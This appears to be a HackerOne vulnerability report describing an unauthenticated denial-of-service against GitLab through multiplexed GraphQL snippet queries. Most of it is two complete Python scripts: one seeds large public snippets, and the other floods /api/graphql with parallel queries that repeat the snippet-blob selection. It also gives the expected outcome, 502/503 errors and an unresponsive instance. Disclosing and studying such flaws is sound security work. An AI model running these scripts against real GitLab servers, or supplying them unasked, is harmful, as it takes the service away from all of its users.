Unauthenticated DoS in GitLab via GraphQL project.snippets Multiplexing on Public Snippets
HackerOne report #3100624 by pwnie on 2025-04-19, assigned to @greg:
Report
Unauthenticated Denial‑of‑Service via GraphQL Snippet‑Multiplexing in GitLab
1 · Summary
GitLab’s GraphQL endpoint lets anyone query public snippets.
By placing the same project { snippets { … blobs } } selection eight times inside a single operation and running many such operations in parallel, an attacker multiplies backend load well beyond what the server appears to account for.
The instance quickly stops responding, producing a denial‑of‑service (DoS) without requiring authentication.
2 · Steps to Reproduce
(Replace base URL, token, and project path as needed.)
2.1 Seed large public snippets
python3 bulk_snippets.py \
--gitlab-url http://gitlab.local \
--private-token glpat-XXXXXXXXXXXXXXXX \
--project-name dos-demo \
--num-snippets 100 \
--snippet-size 1000000
bulk_snippets.py
### !/usr/bin/env python3
"""Create one public project and N public snippets of configurable size."""
from __future__ import annotations
import argparse, requests
def mk_project(url, hdrs, name):
r = requests.post(f"{url}/api/v4/projects",
headers=hdrs,
json={"name": name, "visibility": "public"})
r.raise_for_status()
return r.json()["id"]
def mk_snip(url, hdrs, pid, title, path, content):
requests.post(f"{url}/api/v4/projects/{pid}/snippets",
headers=hdrs,
json={"title": title,
"visibility": "public",
"files": [{"file_path": path, "content": content}]})
def main():
p = argparse.ArgumentParser()
p.add_argument("--gitlab-url", required=True)
p.add_argument("--private-token", required=True)
p.add_argument("--project-name", required=True)
p.add_argument("--num-snippets", type=int, default=100)
p.add_argument("--snippet-size", type=int, default=1_000_000)
a = p.parse_args()
hdr = {"PRIVATE-TOKEN": a.private_token}
pid = mk_project(a.gitlab_url.rstrip("/"), hdr, a.project_name)
blob = "a" * a.snippet_size
for i in range(1, a.num_snippets + 1):
mk_snip(a.gitlab_url, hdr, pid, f"Snippet{i}", f"s{i}.txt", blob)
if __name__ == "__main__":
main()
2.2 Flood GraphQL with multiplexed snippet queries
python3 flood_graphql.py \
--host http://gitlab.local \
--project dos-demo \
--parallel 20 \
--copies 8
flood_graphql.py
### !/usr/bin/env python3
import argparse, asyncio, aiohttp, logging
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(message)s")
def build_query(path, copies):
return "query{\n" + "".join(
f'p{i}:project(fullPath:"{path}"){{snippets(first:100)'
'{{nodes{{blobs{{nodes{{rawPlainData}}}}}}}}}}\n'
for i in range(1, copies + 1)
) + "}"
async def send(idx, session, url, q):
async with session.post(url, json={"query": q}) as r:
logging.info(f"[{idx:02}] {r.status}")
async def main():
ap = argparse.ArgumentParser()
ap.add_argument("--host", required=True)
ap.add_argument("--project", required=True)
ap.add_argument("--parallel", type=int, default=20)
ap.add_argument("--copies", type=int, default=8)
A = ap.parse_args()
url = A.host.rstrip("/") + "/api/graphql"
q = build_query(A.project, A.copies)
async with aiohttp.ClientSession() as s:
await asyncio.gather(*(send(i, s, url, q) for i in range(A.parallel)))
if __name__ == "__main__":
asyncio.run(main())
Expected result:
Within seconds, the GitLab instance becomes unresponsive; UI and API calls return errors (502/503), demonstrating a denial‑of‑service.
3 · Impact
- Availability loss: An unauthenticated attacker can render GitLab unusable for all users.
- Cause (observable): The server does not scale request‑complexity limits with multiplexing depth, so backend load grows disproportionately fast despite normal snippet size and pagination limits.
Impact
- Availability loss: An unauthenticated attacker can render GitLab unusable for all users.
- Cause (observable): The server does not scale request‑complexity limits with multiplexing depth, so backend load grows disproportionately fast despite normal snippet size and pagination limits.
How To Reproduce
Please add reproducibility information to this section: